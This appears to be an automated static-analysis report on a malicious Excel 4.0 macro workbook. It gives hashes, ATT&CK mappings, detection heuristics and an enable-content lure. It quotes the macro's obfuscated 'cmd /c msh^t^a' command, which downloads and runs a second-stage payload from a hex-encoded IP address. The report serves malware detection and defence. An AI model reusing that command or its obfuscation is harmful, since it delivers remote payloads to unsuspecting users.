Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 7dc9dddf3cce8b9b…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 8cdc00366a4588827a137d17622d20d8 SHA-1: c90202255872974661453952ac9d635af7e02074 SHA-256: 7dc9dddf3cce8b9b973007abec68f503849f4dfac8a39b83a16dd2e4a404f120
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution: Visual Basic

The sample is an Excel 4.0 macro sheet that uses an Auto_Open defined name to execute a command. The document body contains a lure instructing the user to enable editing and content. The macro reconstructs the command 'cmd /c msh^t^a http://0xc12a24f5/c.html', indicating it will download a second-stage payload from the specified URL. The obfuscation in the command string suggests an attempt to evade detection.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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